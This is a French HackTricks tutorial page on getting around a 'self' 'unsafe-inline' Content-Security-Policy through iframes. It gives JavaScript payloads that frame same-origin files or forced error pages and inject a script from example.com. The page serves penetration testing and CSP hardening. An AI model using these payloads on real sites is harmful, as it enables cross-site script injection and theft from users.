CSP bypass: self + 'unsafe-inline' with Iframes

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)!

D'autres façons de soutenir HackTricks:

Une configuration telle que:

Content-Security-Policy: default-src 'self' 'unsafe-inline';

Interdit l'utilisation de toutes les fonctions qui exécutent du code transmis sous forme de chaîne. Par exemple : eval, setTimeout, setInterval seront tous bloqués en raison du paramètre unsafe-eval

Tout contenu provenant de sources externes est également bloqué, y compris les images, le CSS, les WebSockets et, surtout, le JS

Via Text & Images

Il est observé que les navigateurs modernes convertissent les images et les textes en HTML pour améliorer leur affichage (par exemple, en définissant des arrière-plans, en les centrant, etc.). Par conséquent, si une image ou un fichier texte, tel que favicon.ico ou robots.txt, est ouvert via un iframe, il est rendu en HTML. Notamment, ces pages manquent souvent d'en-têtes CSP et peuvent ne pas inclure X-Frame-Options, permettant l'exécution de JavaScript arbitraire à partir d'elles :

frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);

Via Erreurs

De même, les réponses d'erreur, telles que les fichiers texte ou les images, viennent généralement sans en-têtes CSP et peuvent omettre X-Frame-Options. Les erreurs peuvent être induites à se charger dans un iframe, permettant les actions suivantes :

// Inducing an nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);

// Triggering an error with a long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);

// Generating an error via extensive cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Removal of cookies is crucial post-execution
for(var i=0;i<5;i++){document.cookie=i+"="}

Après avoir déclenché l'un des scénarios mentionnés, l'exécution de JavaScript dans l'iframe est réalisable comme suit :

script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks:

Dernière mise à jour